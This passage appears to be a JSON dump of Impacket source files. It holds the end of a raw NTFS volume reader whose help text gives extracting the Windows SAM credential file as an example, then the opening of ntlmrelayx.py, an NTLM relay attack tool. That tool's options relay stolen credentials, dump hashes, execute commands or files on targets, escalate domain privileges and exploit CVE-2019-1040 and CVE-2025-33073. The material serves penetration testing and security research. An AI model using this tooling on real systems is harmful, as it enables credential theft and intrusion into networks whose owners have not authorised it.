attributeName)\n\n        return record\n\n    def PerformFixUp(self, record, buf, numSectors):\n        # It fixes the sequence WORDS on every sector of a cluster\n        # FixUps are used by:\n        # FILE Records in the $MFT\n        # INDX Records in directories and other indexes\n        # RCRD Records in the $LogFile\n        # RSTR Records in the $LogFile\n\n        logging.debug(\"Inside PerformFixUp...\" )\n        magicNum = struct.unpack('<H',buf[record['USROffset']:][:2])[0]\n        sequenceArray = buf[record['USROffset']+2:][:record['USRSize']*2]\n\n        dataList = list(buf)\n        index = 0\n        for i in range(0,numSectors*2, 2):\n            index += self.NTFSVolume.SectorSize-2\n            # Let's get the last two bytes of the sector\n            lastBytes = struct.unpack('<H', buf[index:][:2])[0]\n            # Is it the same as the magicNum?\n            if lastBytes != magicNum:\n                logging.error(\"Magic number 0x%x doesn't match with 0x%x\" % (magicNum,lastBytes))\n                return None\n            # Now let's replace the original bytes\n            dataList[index]   = sequenceArray[i]\n            dataList[index+1] = sequenceArray[i+1]\n            index += 2\n\n        if PY2:\n            return \"\".join(dataList)\n        else:\n            return bytes(dataList)\n\n    def parseIndexBlocks(self, vcn):\n        IndexEntries = []\n        #sectors = self.NTFSVolume.IndexBlockSize / self.NTFSVolume.SectorSize\n        if INDEX_ALLOCATION in self.Attributes:\n            ia = self.Attributes[INDEX_ALLOCATION]\n            data = ia.read(vcn*self.NTFSVolume.IndexBlockSize, self.NTFSVolume.IndexBlockSize)\n            if data:\n                iaRec = NTFS_INDEX_ALLOCATION(data)\n                sectorsPerIB = self.NTFSVolume.IndexBlockSize // self.NTFSVolume.SectorSize\n                data = self.PerformFixUp(iaRec, data, sectorsPerIB)\n                if data is None:\n                    return []\n                data = data[len(iaRec)-len(NTFS_INDEX_HEADER())+iaRec['Index']['EntriesOffset']:]\n                while True:\n                    ie = IndexEntry(data)\n                    IndexEntries.append(ie)\n                    if ie.isLastNode():\n                        break\n                    data = data[ie.getSize():]\n        return IndexEntries\n\n    def walkSubNodes(self, vcn):\n        logging.debug(\"Inside walkSubNodes: vcn %s\" % vcn)\n        entries = self.parseIndexBlocks(vcn)\n        files = []\n        for entry in entries:\n            if entry.isSubNode():\n                files += self.walkSubNodes(entry.getVCN())\n            else:\n                if len(entry.getKey()) > 0 and entry.getINodeNumber() > 16:\n                    fn = NTFS_FILE_NAME_ATTR(entry.getKey())\n                    if fn['FileNameType'] != FILE_NAME_DOS:\n                        #inode = INODE(self.NTFSVolume)\n                        #inode.FileAttributes = fn['FileAttributes']\n                        #inode.FileSize = fn['DataSize']\n                        #inode.LastDataChangeTime = datetime.fromtimestamp(getUnixTime(fn['LastDataChangeTime']))\n                        #inode.INodeNumber = entry.getINodeNumber()\n                        #inode.FileName = fn['FileName'].decode('utf-16le')\n                        #inode.displayName()\n                        files.append(fn)\n#                    if inode.FileAttributes & FILE_ATTR_I30_INDEX_PRESENT and entry.getINodeNumber() > 16:\n#                        inode2 = self.NTFSVolume.getINode(entry.getINodeNumber())\n#                        inode2.walk()\n        return files\n\n    def walk(self):\n        logging.debug(\"Inside Walk... \")\n        files = []\n        self._walk_root_count = 0\n        self._walk_subnode_count = 0\n        if INDEX_ROOT in self.Attributes:\n            ir = self.Attributes[INDEX_ROOT]\n\n            if ir.getType() & FILE_NAME:\n                for ie in ir.IndexEntries:\n                    if ie.isSubNode():\n                        logging.debug(\"walk: INDEX_ROOT entry points to subnode VCN %d\", ie.getVCN())\n                        sub_files = self.walkSubNodes(ie.getVCN())\n                        self._walk_subnode_count += len(sub_files)\n                        files += sub_files\n                    else:\n                        if len(ie.getKey()) > 0 and ie.getINodeNumber() > 16:\n                            fn = NTFS_FILE_NAME_ATTR(ie.getKey())\n                            if fn['FileNameType'] != FILE_NAME_DOS:\n                                logging.debug(\"walk: INDEX_ROOT inline entry %s\", fn['FileName'].decode('utf-16le'))\n                                self._walk_root_count += 1\n                                files.append(fn)\n                return files\n        else:\n            return None\n\n    def findFirstSubNode(self, vcn, toSearch):\n        def getFileName(entry):\n            if len(entry.getKey()) > 0 and entry.getINodeNumber() > 16:\n                fn = NTFS_FILE_NAME_ATTR(entry.getKey())\n                if fn['FileNameType'] != FILE_NAME_DOS:\n                    return fn['FileName'].decode('utf-16le').upper()\n            return None\n\n        entries = self.parseIndexBlocks(vcn)\n        for ie in entries:\n            name = getFileName(ie)\n            if name is not None:\n                if name == toSearch:\n                    # Found!\n                    return ie\n                if toSearch < name:\n                    if ie.isSubNode():\n                        res = self.findFirstSubNode(ie.getVCN(), toSearch)\n                        if res is not None:\n                            return res\n                    else:\n                        # Bye bye.. not found\n                        return None\n            else:\n                if ie.isSubNode():\n                        res = self.findFirstSubNode(ie.getVCN(), toSearch)\n                        if res is not None:\n                            return res\n\n\n    def findFirst(self, fileName):\n        # Searches for a file and returns an Index Entry. None if not found\n\n        def getFileName(entry):\n            if len(entry.getKey()) > 0 and entry.getINodeNumber() > 16:\n                fn = NTFS_FILE_NAME_ATTR(entry.getKey())\n                if fn['FileNameType'] != FILE_NAME_DOS:\n                    return fn['FileName'].decode('utf-16le').upper()\n            return None\n\n        toSearch = text_type(fileName.upper())\n\n        if INDEX_ROOT in self.Attributes:\n            ir = self.Attributes[INDEX_ROOT]\n            if ir.getType() & FILE_NAME or 1==1:\n                for ie in ir.IndexEntries:\n                    name = getFileName(ie)\n                    if name is not None:\n                        if name == toSearch:\n                            # Found!\n                            return ie\n                        if toSearch < name:\n                            if ie.isSubNode():\n                                res = self.findFirstSubNode(ie.getVCN(), toSearch)\n                                if res is not None:\n                                    return res\n                            else:\n                                # Bye bye.. not found\n                                return None\n                    else:\n                        if ie.isSubNode():\n                                res = self.findFirstSubNode(ie.getVCN(), toSearch)\n                                if res is not None:\n                                    return res\n\n    def getStream(self, name):\n        return self.searchAttribute( DATA, name, findNext = False)\n\n\nclass NTFS:\n    def __init__(self, volumeName):\n        self.__volumeName = volumeName\n        self.__bootSector = None\n        self.__MFTStart = None\n        self.volumeFD = None\n        self.BPB = None\n        self.ExtendedBPB = None\n        self.RecordSize = None\n        self.IndexBlockSize = None\n        self.SectorSize = None\n        self.MFTINode = None\n        self.mountVolume()\n\n    def mountVolume(self):\n        logging.debug(\"Mounting volume...\")\n        self.volumeFD = open(self.__volumeName,\"rb\")\n        self.readBootSector()\n        self.MFTINode = self.getINode(FILE_MFT)\n        # Check whether MFT is fragmented\n        attr = self.MFTINode.searchAttribute(DATA, None)\n        if attr is None:\n            # It's not\n            del self.MFTINode\n            self.MFTINode = None\n\n    def readBootSector(self):\n        logging.debug(\"Reading Boot Sector for %s\" % self.__volumeName)\n\n        self.volumeFD.seek(0,0)\n        data = self.volumeFD.read(512)\n        while len(data) < 512:\n            data += self.volumeFD.read(512)\n\n        self.__bootSector = NTFS_BOOT_SECTOR(data)\n        self.BPB = NTFS_BPB(self.__bootSector['BPB'])\n        self.ExtendedBPB = NTFS_EXTENDED_BPB(self.__bootSector['ExtendedBPB'])\n        self.SectorSize = self.BPB['BytesPerSector']\n        self.__MFTStart = self.BPB['BytesPerSector'] * self.BPB['SectorsPerCluster'] * self.ExtendedBPB['MFTClusterNumber']\n        if self.ExtendedBPB['ClusterPerFileRecord'] > 0:\n            self.RecordSize = self.BPB['BytesPerSector'] * self.BPB['SectorsPerCluster'] * self.ExtendedBPB['ClusterPerFileRecord']\n        else:\n            self.RecordSize = 1 << (-self.ExtendedBPB['ClusterPerFileRecord'])\n        if self.ExtendedBPB['ClusterPerIndexBuffer'] > 0:\n            self.IndexBlockSize = self.BPB['BytesPerSector'] * self.BPB['SectorsPerCluster'] * self.ExtendedBPB['ClusterPerIndexBuffer']\n        else:\n            self.IndexBlockSize = 1 << (-self.ExtendedBPB['ClusterPerIndexBuffer'])\n\n        logging.debug(\"MFT should start at position %d\" % self.__MFTStart)\n\n    def getINode(self, iNodeNum):\n        logging.debug(\"Trying to fetch inode %d\" % iNodeNum)\n\n        newINode = INODE(self)\n        recordLen = self.RecordSize\n\n        # Read MFT record from disk or through fragmented $MFT\n        if self.MFTINode and iNodeNum > FIXED_MFTS:\n            # Fragmented $MFT - read through MFT's $DATA attribute\n            attr = self.MFTINode.searchAttribute(DATA, None)\n            if attr is None:\n                logging.error(\"Cannot find MFT $DATA attribute for inode %d\" % iNodeNum)\n                return newINode\n            record = attr.read(iNodeNum * self.RecordSize, self.RecordSize)\n        else:\n            diskPosition = self.__MFTStart + iNodeNum * self.RecordSize\n            self.volumeFD.seek(diskPosition, 0)\n            record = self.volumeFD.read(recordLen)\n            while len(record) < recordLen:\n                record += self.volumeFD.read(recordLen - len(record))\n\n        if not record or len(record) < recordLen:\n            logging.error(\"Failed to read MFT record for inode %d\" % iNodeNum)\n            return newINode\n\n        mftRecord = NTFS_MFT_RECORD(record)\n\n        record = newINode.PerformFixUp(mftRecord, record, self.RecordSize // self.SectorSize)\n        if record is None:\n            logging.error(\"FixUp failed for inode %d\" % iNodeNum)\n            return newINode\n\n        newINode.INodeNumber = iNodeNum\n        newINode.AttributesRaw = record[mftRecord['AttributesOffset'] - recordLen:]\n        newINode.parseAttributes()\n\n        return newINode\n\nclass MiniShell(cmd.Cmd):\n    def __init__(self, volume):\n        cmd.Cmd.__init__(self)\n        self.volumePath = volume\n        self.volume = NTFS(volume)\n        self.rootINode = self.volume.getINode(FILE_Root)\n        self.prompt = '\\\\>'\n        self.intro = 'Type help for list of commands'\n        self.currentINode = self.rootINode\n        self.completion = []\n        self.pwd = '\\\\'\n        self.do_ls('',False)\n        self.last_output = ''\n\n    def emptyline(self):\n        pass\n\n    def onecmd(self,s):\n        retVal = False\n        try:\n           retVal = cmd.Cmd.onecmd(self,s)\n        except Exception as e:\n            logging.debug('Exception:', exc_info=True)\n            logging.error(str(e))\n\n        return retVal\n\n    def do_exit(self,line):\n        return True\n\n    def do_shell(self, line):\n        output = os.popen(line).read()\n        print(output)\n        self.last_output = output\n\n    def do_help(self,line):\n        print(\"\"\"\n cd {path} - changes the current directory to {path}\n pwd - shows current remote directory\n ls  - lists all the files in the current directory\n lcd - change local directory\n get {filename} - downloads the filename from the current path\n cat {filename} - prints the contents of filename\n hexdump {filename} - hexdumps the contents of filename\n exit - terminates the server process (and this session)\n\n\"\"\")\n\n    def do_lcd(self,line):\n        if line == '':\n            print(os.getcwd())\n        else:\n            os.chdir(line)\n            print(os.getcwd())\n\n    def do_cd(self, line):\n        p = line.replace('/','\\\\')\n        oldpwd = self.pwd\n        newPath = ntpath.normpath(ntpath.join(self.pwd,p))\n        if newPath == self.pwd:\n            # Nothing changed\n            return\n        common = ntpath.commonprefix([newPath,oldpwd])\n\n        if common == oldpwd:\n            res = self.findPathName(ntpath.normpath(p))\n        else:\n            res = self.findPathName(newPath)\n\n        if res is None:\n            logging.error(\"Directory not found\")\n            self.pwd = oldpwd\n            return\n        if res.isDirectory() == 0:\n            logging.error(\"Not a directory!\")\n            self.pwd = oldpwd\n            return\n        else:\n            self.currentINode = res\n            self.do_ls('', False)\n            self.pwd = ntpath.join(self.pwd,p)\n            self.pwd = ntpath.normpath(self.pwd)\n            self.prompt = self.pwd + '>'\n\n    def findPathName(self, pathName):\n        if pathName == '\\\\':\n            return self.rootINode\n        tmpINode = self.currentINode\n        parts = pathName.split('\\\\')\n        for part in parts:\n            if part == '':\n                tmpINode = self.rootINode\n            else:\n                res = tmpINode.findFirst(part)\n                if res is None:\n                    return res\n                else:\n                    tmpINode = self.volume.getINode(res.getINodeNumber())\n\n        return tmpINode\n\n    def do_pwd(self,line):\n        print(self.pwd)\n\n    def do_ls(self, line, display=True):\n        entries = self.currentINode.walk()\n        if entries is None:\n            entries = []\n        logging.debug(\n            \"ls summary for %s: total=%d index_root=%d index_allocation=%d\",\n            self.pwd,\n            len(entries),\n            self.currentINode._walk_root_count,\n            self.currentINode._walk_subnode_count,\n        )\n        self.completion = []\n        for entry in entries:\n            inode = INODE(self.volume)\n            inode.FileAttributes = entry['FileAttributes']\n            inode.FileSize = entry['DataSize']\n            inode.LastDataChangeTime = datetime.fromtimestamp(getUnixTime(entry['LastDataChangeTime']))\n            inode.FileName = entry['FileName'].decode('utf-16le')\n            if display is True:\n                inode.displayName()\n            self.completion.append((inode.FileName,inode.isDirectory()))\n\n    def complete_cd(self, text, line, begidx, endidx):\n        return self.complete_get(text, line, begidx, endidx, include = 2)\n\n    def complete_cat(self,text,line,begidx,endidx):\n        return self.complete_get(text, line, begidx, endidx)\n\n    def complete_hexdump(self,text,line,begidx,endidx):\n        return self.complete_get(text, line, begidx, endidx)\n\n    def complete_get(self, text, line, begidx, endidx, include = 1):\n        # include means\n        # 1 just files\n        # 2 just directories\n        items = []\n        if include == 1:\n            mask = 0\n        else:\n            mask = FILE_ATTR_I30_INDEX_PRESENT\n        for i in self.completion:\n            if i[1] == mask:\n                items.append(i[0])\n        if text:\n            return  [\n                item for item in items\n                if item.upper().startswith(text.upper())\n            ]\n        else:\n            return items\n\n    def do_hexdump(self,line):\n        return self.do_cat(line,command = hexdump)\n\n    def do_cat(self, line, command=None):\n        if command is None:\n            command = getattr(sys.stdout, 'buffer', sys.stdout).write\n        pathName = line.replace('/', '\\\\')\n        pathName = ntpath.normpath(ntpath.join(self.pwd, pathName))\n        res = self.findPathName(pathName)\n        if res is None:\n            logging.error(\"Not found!\")\n            return\n        if res.isDirectory() > 0:\n            logging.error(\"It's a directory!\")\n            return\n        if res.isCompressed() or res.isEncrypted():\n            logging.error('Cannot handle compressed/encrypted files! :(')\n            return\n\n        stream = res.getStream(None)\n        if stream is None:\n            logging.error(\"Cannot read file stream!\")\n            return\n\n        dataSize = stream.getDataSize()\n        if dataSize == 0:\n            logging.info(\"0 bytes read (empty file)\")\n            return\n\n        chunkSize = 4096 * 10\n        offset = 0\n        while offset < dataSize:\n            toRead = min(chunkSize, dataSize - offset)\n            buf = stream.read(offset, toRead)\n            if not buf:\n                break\n            try:\n                command(buf)\n            except (BrokenPipeError, OSError):\n                return\n            offset += len(buf)\n\n        logging.info(\"%d bytes read\" % offset)\n\n    def do_get(self, line):\n        pathName = line.replace('/','\\\\')\n        pathName = ntpath.normpath(ntpath.join(self.pwd,pathName))\n        fh = open(ntpath.basename(pathName),\"wb\")\n        self.do_cat(line, command = fh.write)\n        fh.close()\n\ndef main():\n    print(version.BANNER)\n    parser = argparse.ArgumentParser(add_help = True, description = \"NTFS explorer (read-only)\")\n    parser.add_argument('volume', action='store', help='NTFS volume to open (e.g. \\\\\\\\.\\\\C: or /dev/disk1s1)')\n    parser.add_argument('-extract', action='store', help='extracts pathname (e.g. \\\\windows\\\\system32\\\\config\\\\sam)')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n    options = parser.parse_args()\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    shell = MiniShell(options.volume)\n    if options.extract is not None:\n        shell.onecmd(\"get %s\"% options.extract)\n    else:\n        shell.cmdloop()\n\nif __name__ == '__main__':\n    main()\n    sys.exit(1)\n"
  },
  {
    "path": "examples/ntlmrelayx.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Generic NTLM Relay Module\n#\n#   This module performs the SMB Relay attacks originally discovered\n#   by cDc extended to many target protocols (SMB, MSSQL, LDAP, etc).\n#   It receives a list of targets and for every connection received it\n#   will choose the next target and try to relay the credentials. Also, if\n#   specified, it will first try to authenticate against the client connecting\n#   to us.\n#\n#   It is implemented by invoking a SMB and HTTP Server, hooking to a few\n#   functions and then using the specific protocol clients (e.g. SMB, LDAP).\n#   It is supposed to be working on any LM Compatibility level. The only way\n#   to stop this attack is to enforce on the server SPN checks and or signing.\n#\n#   If the authentication against the targets succeeds, the client authentication\n#   succeeds as well and a valid connection is set against the local smbserver.\n#   It's up to the user to set up the local smbserver functionality. One option\n#   is to set up shares with whatever files you want to so the victim thinks it's\n#   connected to a valid SMB server. All that is done through the smb.conf file or\n#   programmatically.\n#\n# Authors:\n#   Alberto Solino (@agsolino)\n#   Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)\n#  Sylvain Heiniger / Compass Security (https://www.compass-security.com)\n#\n\nimport argparse\nimport sys\nimport logging\nimport cmd\ntry:\n    from urllib.request import ProxyHandler, build_opener, Request\nexcept ImportError:\n    from urllib2 import ProxyHandler, build_opener, Request\nfrom urllib.parse import urlparse\n\nimport json\nfrom time import sleep\nfrom threading import Thread\n\nfrom impacket import version\nfrom impacket.examples import logger\nfrom impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer, WCFRelayServer, RAWRelayServer, RPCRelayServer, WinRMRelayServer, WinRMSRelayServer, MSSQLRelayServer, RDPRelayServer \nfrom impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig, parse_listening_ports\nfrom impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher\nfrom impacket.examples.ntlmrelayx.servers.socksserver import SOCKS\n\nRELAY_SERVERS = []\n\nclass MiniShell(cmd.Cmd):\n    def __init__(self, relayConfig, threads, api_address):\n        cmd.Cmd.__init__(self)\n\n        self.prompt = 'ntlmrelayx> '\n        self.api_address = api_address\n        self.tid = None\n        self.relayConfig = relayConfig\n        self.intro = 'Type help for list of commands'\n        self.relayThreads = threads\n        self.serversRunning = True\n\n    @staticmethod\n    def printTable(items, header):\n        colLen = []\n        for i, col in enumerate(header):\n            rowMaxLen = max([len(row[i]) for row in items])\n            colLen.append(max(rowMaxLen, len(col)))\n\n        outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])\n\n        # Print header\n        print(outputFormat.format(*header))\n        print('  '.join(['-' * max(itemLen, 3) for itemLen in colLen]))\n\n        # And now the rows\n        for row in items:\n            print(outputFormat.format(*row))\n\n    def emptyline(self):\n        pass\n\n    def do_targets(self, line):\n        for url in self.relayConfig.target.originalTargets:\n            print(url.geturl())\n        return\n\n    def do_finished_attacks(self, line):\n        for url in self.relayConfig.target.finishedAttacks:\n            print (url.geturl())\n        return\n\n    def do_socks(self, line):\n        '''Filter are available :\n type : socks <filter> <value>\n filters : target, username, admin \n values : \n   - target : IP or FQDN\n   - username : domain/username\n   - admin : true or false \n        '''\n\n        headers = [\"Protocol\", \"Target\", \"Username\", \"AdminStatus\", \"Port\", \"ID\"]\n        url = \"http://{}/ntlmrelayx/api/v1.0/relays\".format(self.api_address)\n        try:\n            proxy_handler = ProxyHandler({})\n            opener = build_opener(proxy_handler)\n            response = Request(url)\n            r = opener.open(response)\n            result = r.read()\n            items = json.loads(result)\n        except Exception as e:\n            logging.error(\"ERROR: %s\" % str(e))\n        else:\n            if len(items) > 0:\n                if(\"=\" in line and len(line.replace('socks','').split('='))==2):\n                    _filter=line.replace('socks','').split('=')[0]\n                    _value=line.replace('socks','').split('=')[1]\n                    if(_filter=='target'):\n                        _filter=1\n                    elif(_filter=='username'):\n                        _filter=2\n                    elif(_filter=='admin'):\n                        _filter=3\n                    else:\n                        logging.info('Expect : target / username / admin = value')\n                        return\n                    _items=[]\n                    for i in items:\n                        if(_value.lower() in i[_filter].lower()):\n                            _items.append(i)\n                    if(len(_items)>0):\n                        self.printTable(_items,header=headers)\n                    else:\n                        logging.info('No relay matching filter available!')\n\n                elif(\"=\" in line):\n                    logging.info('Expect target/username/admin = value')\n                else:\n                    self.printTable(items, header=headers)\n            else:\n                logging.info('No Relays Available!')\n\n    def do_startservers(self, line):\n        if not self.serversRunning:\n            start_servers(options, self.relayThreads)\n            self.serversRunning = True\n            logging.info('Relay servers started')\n        else:\n            logging.error('Relay servers are already running!')\n\n    def do_stopservers(self, line):\n        if self.serversRunning:\n            stop_servers(self.relayThreads)\n            self.serversRunning = False\n            logging.info('Relay servers stopped')\n        else:\n            logging.error('Relay servers are already stopped!')\n\n    def do_exit(self, line):\n        print(\"Shutting down, please wait!\")\n        return True\n\n    def do_EOF(self, line):\n        return self.do_exit(line)\n\ndef start_servers(options, threads):\n    for server in RELAY_SERVERS:\n        #Set up config\n        c = NTLMRelayxConfig()\n        c.setProtocolClients(PROTOCOL_CLIENTS)\n        c.setRunSocks(options.socks, socksServer)\n        c.setTargets(targetSystem)\n        c.setExeFile(options.e)\n        c.setCommand(options.c)\n        c.setEnumLocalAdmins(options.enum_local_admins)\n        c.setAddComputerSMB(options.add_computer)\n        c.setDisableMulti(options.no_multirelay)\n        c.setKeepRelaying(options.keep_relaying)\n        c.setEncoding(codec)\n        c.setMode(mode)\n        c.setAttacks(PROTOCOL_ATTACKS)\n        c.setLootdir(options.lootdir)\n        c.setOutputFile(options.output_file)\n        c.setdumpHashes(options.dump_hashes)\n        c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.dump_adcs, options.sid, options.add_dns_record)\n        c.setRPCOptions(options.rpc_mode, options.rpc_use_smb, options.auth_smb, options.hashes_smb, options.rpc_smb_port, options.icpr_ca_name)\n        c.setMSSQLOptions(options.query)\n        c.setInteractive(options.interactive)\n        c.setIMAPOptions(options.keyword, options.mailbox, options.all, options.imap_max)\n        c.setIPv6(options.ipv6)\n        c.setWpadOptions(options.wpad_host, options.wpad_auth_num)\n        c.setSMB2Support(options.smb2support)\n        c.setSMBChallenge(options.ntlmchallenge)\n        c.setSMBRPCAttack(options.rpc_attack)\n        c.setInterfaceIp(options.interface_ip)\n        c.setExploitOptions(options.remove_mic, options.remove_target, options.remove_sign_seal)\n        c.setWebDAVOptions(options.serve_image)\n        c.setIsADCSAttack(options.adcs)\n        c.setADCSOptions(options.template)\n        c.setIsShadowCredentialsAttack(options.shadow_credentials)\n        c.setShadowCredentialsOptions(options.shadow_target, options.pfx_password, options.export_type,\n                                      options.cert_outfile_path)\n        c.setIsSCCMPoliciesAttack(options.sccm_policies)\n        c.setIsSCCMDPAttack(options.sccm_dp)\n        c.setSCCMPoliciesOptions(options.sccm_policies_clientname, options.sccm_policies_sleep)\n        c.setSCCMDPOptions(options.sccm_dp_extensions, options.sccm_dp_files)\n        \n        c.setAltName(options.altname)\n\n        #If the redirect option is set, configure the HTTP server to redirect targets to SMB\n        if server is HTTPRelayServer and options.r is not None:\n            c.setMode('REDIRECT')\n            c.setRedirectHost(options.r)\n\n        #Use target randomization if configured and the server is not SMB\n        if server is not SMBRelayServer and options.random:\n            c.setRandomTargets(True)\n\n        if server is HTTPRelayServer:\n            c.setDomainAccount(options.machine_account, options.machine_hashes, options.domain)\n            for port in options.http_port:\n                c.setListeningPort(port)\n                s = server(c)\n                s.start()\n                threads.add(s)\n                sleep(0.1)\n            continue\n\n        elif server is SMBRelayServer:\n            c.setListeningPort(options.smb_port)\n        elif server is WCFRelayServer:\n            c.setListeningPort(options.wcf_port)\n        elif server is RAWRelayServer:\n            c.setListeningPort(options.raw_port)\n        elif server is RPCRelayServer:\n            c.setListeningPort(options.rpc_port)\n        elif server is MSSQLRelayServer:\n            c.setListeningPort(options.mssql_port)\n            if options.mssql_db:\n                c.setMSSQLDb(options.mssql_db)\n        elif server is RDPRelayServer:\n            c.setListeningPort(options.rdp_port)\n\n        s = server(c)\n        s.start()\n        threads.add(s)\n    return c\n\ndef stop_servers(threads):\n    todelete = []\n    for thread in threads:\n        if isinstance(thread, tuple(RELAY_SERVERS)):\n            thread.server.shutdown()\n            todelete.append(thread)\n    # Now remove threads from the set\n    for thread in todelete:\n        threads.remove(thread)\n        del thread\n\n# Process command-line arguments.\nif __name__ == '__main__':\n\n    print(version.BANNER)\n    #Parse arguments\n    parser = argparse.ArgumentParser(add_help = False, description = \"For every connection received, this module will \"\n                                    \"try to relay that connection to specified target(s) system or the original client\")\n    parser._optionals.title = \"Main options\"\n\n    #Main arguments\n    parser.add_argument(\"-h\",\"--help\", action=\"help\", help='show this help message and exit')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-t',\"--target\", action='store', metavar = 'TARGET', help=\"Target to relay the credentials to, \"\n                                  \"can be an IP, hostname or URL like domain\\\\username@host:port (domain\\\\username and port \"\n                                  \"are optional, and don't forget to escape the '\\\\'). If unspecified, it will relay back \"\n                                  \"to the client')\")\n    parser.add_argument('-tf', action='store', metavar = 'TARGETSFILE', help='File that contains targets by hostname or '\n                                                                             'full URL, one per line')\n    parser.add_argument('-w', action='store_true', help='Watch the target file for changes and update target list '\n                                                        'automatically (only valid with -tf)')\n    parser.add_argument('-i','--interactive', action='store_true',help='Launch an smbclient, LDAP console or SQL shell instead'\n                        'of executing a command after a successful relay. This console will listen locally on a '\n                        ' tcp port and can be reached with for example netcat.')\n\n    # Interface address specification\n    parser.add_argument('-ip','--interface-ip', action='store', metavar='INTERFACE_IP', help='IP address of interface to '\n                  'bind relay servers (\"0.0.0.0\" or \"::\" if omitted)',default=argparse.SUPPRESS)\n\n    serversoptions = parser.add_argument_group()\n    serversoptions.add_argument('--no-smb-server', action='store_true', help='Disables the SMB server')\n    serversoptions.add_argument('--no-http-server', action='store_true', help='Disables the HTTP server')\n    serversoptions.add_argument('--no-wcf-server', action='store_true', help='Disables the WCF server')\n    serversoptions.add_argument('--no-raw-server', action='store_true', help='Disables the RAW server')\n    serversoptions.add_argument('--no-rpc-server', action='store_true', help='Disables the RPC server')\n    serversoptions.add_argument('--no-winrm-server', action='store_true', help='Disables the WinRM server')\n    serversoptions.add_argument('--no-mssql-server', action='store_true', help='Disables the MSSQL server')\n    serversoptions.add_argument('--no-rdp-server', action='store_true', help='Disables the RDP server')\n    \n    parser.add_argument('--smb-port', type=int, help='Port to listen on smb server', default=445)\n    parser.add_argument('--http-port', help='Port(s) to listen on HTTP server. Can specify multiple ports by separating them with `,`, and ranges with `-`. Ex: `80,8000-8010`', default=\"80\")\n    parser.add_argument('--wcf-port', type=int, help='Port to listen on wcf server', default=9389)  # ADWS\n    parser.add_argument('--raw-port', type=int, help='Port to listen on raw server', default=6666)\n    parser.add_argument('--rpc-port', type=int, help='Port to listen on rpc server', default=135)\n    parser.add_argument('--mssql-port', type=int, help='Port to listen on mssql server', default=1433)\n    parser.add_argument('--rdp-port', type=int, help='Port to listen on rdp server', default=3389)\n\n    parser.add_argument('--no-multirelay', action=\"store_true\", required=False, help='If set, disable multi-host relay (SMB and HTTP servers)')\n    parser.add_argument('--keep-relaying', action=\"store_true\", required=False, help='If set, keeps relaying to a target even after a successful connection on it')\n    parser.add_argument('-ra','--random', action='store_true', help='Randomize target selection')\n    parser.add_argument('-r', action='store', metavar = 'SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER')\n    parser.add_argument('-l','--lootdir', action='store', type=str, required=False, metavar = 'LOOTDIR',default='.', help='Loot '\n                    'directory in which gathered loot such as SAM dumps will be stored (default: current directory).')\n    parser.add_argument('-of','--output-file', action='store',help='base output filename for encrypted hashes. Suffixes '\n                                                                   'will be added for ntlm and ntlmv2')\n    parser.add_argument('-dh','--dump-hashes', action='store_true', default=False, help='show encrypted hashes in the console')\n    parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\\'s output (default '\n                                                       '\"%s\"). If errors are detected, run chcp.com at the target, '\n                                                       'map the result with '\n                                                       'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute ntlmrelayx.py '\n                                                       'again with -codec and the corresponding codec ' % sys.getdefaultencoding())\n    parser.add_argument('-smb2support', action=\"store_true\", default=False, help='SMB2 Support')\n    parser.add_argument('-ntlmchallenge', action=\"store\", default=None, help='Specifies the NTLM server challenge used by the '\n                                                                             'SMB Server (16 hex bytes long. eg: 1122334455667788)')\n    parser.add_argument('-socks', action='store_true', default=False,\n                        help='Launch a SOCKS proxy for the connection relayed')\n    parser.add_argument('-socks-address', default='127.0.0.1', help='SOCKS5 server address (also used for HTTP API)')\n    parser.add_argument('-socks-port', default=1080, type=int, help='SOCKS5 server port')\n    parser.add_argument('-http-api-port', default=9090, type=int, help='SOCKS5 HTTP API port')\n    parser.add_argument('-wh','--wpad-host', action='store',help='Enable serving a WPAD file for Proxy Authentication attack, '\n                                                                   'setting the proxy host to the one supplied.')\n    parser.add_argument('-wa','--wpad-auth-num', action='store', type=int, default=1, help='Prompt for authentication N times for clients without MS16-077 installed '\n                                                                   'before serving a WPAD file. (default=1)')\n    parser.add_argument('-6','--ipv6', action='store_true',help='Listen on IPv6')\n    parser.add_argument('--remove-mic', action='store_true',help='Remove MIC (exploit CVE-2019-1040)')\n    parser.add_argument('--remove-sign-seal', action='store_true', help='Remove SIGN/SEAL-related NTLM negotiate flags (exploit CVE-2025-33073)')\n    parser.add_argument('--serve-image', action='store',help='local path of the image that will we returned to clients')\n    parser.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on '\n                        'target system (for SMB and RPC). If not specified for SMB, hashes will be dumped (secretsdump.py must be'\n                        ' in the same directory). For RPC no output will be provided.')\n    parser.add_argument('--mssql-db', action='store', required = False, help='Database for MSSQL relay')\n\n    #SMB arguments\n    smboptions = parser.add_argument_group(\"SMB client options\")\n\n    smboptions.add_argument('-e', action='store', required=False, metavar = 'FILE', help='File to execute on the target system. '\n                                     'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)')\n    smboptions.add_argument('--enum-local-admins', action='store_true', required=False, help='If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)')\n    smboptions.add_argument('--rpc-attack', action='store', choices=[None, \"TSCH\", \"ICPR\"], 